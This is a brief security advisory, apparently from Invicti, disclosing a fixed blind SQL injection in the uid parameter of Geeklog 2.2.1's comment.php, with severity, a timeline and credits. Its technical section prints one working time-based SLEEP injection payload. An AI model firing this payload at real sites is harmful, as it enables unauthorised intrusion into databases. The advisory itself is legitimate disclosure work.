Blind SQL Injection Vulnerability in Geeklog 2.2.1


Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerability in Geeklog
Affected Software: Geeklog
Affected Versions: 2.2.1
Vendor Homepage:
Vulnerability Type: Blind SQL Injection
Severity: Critical
Status: Fixed
CVSS Score (3.0): 8.6 (High)
Invicti Advisory Reference: NS-20-002

Technical Details

Blind SQL Injection

URL: http://sectestapp/geeklog-2.2.1/public_html/comment.php#commenteditform
Parameter Name: uid
Parameter Type: POST
Attack Pattern: 2+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

For more information on Blind SQL Injection vulnerabilities read the article How Blind SQL Injection Works.

Advisory Timeline

11th March 2020 – First Contact
20th April 2020 – Vendor Fixed
27th April 2020 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing the Invicti Web Application Security Scanner.

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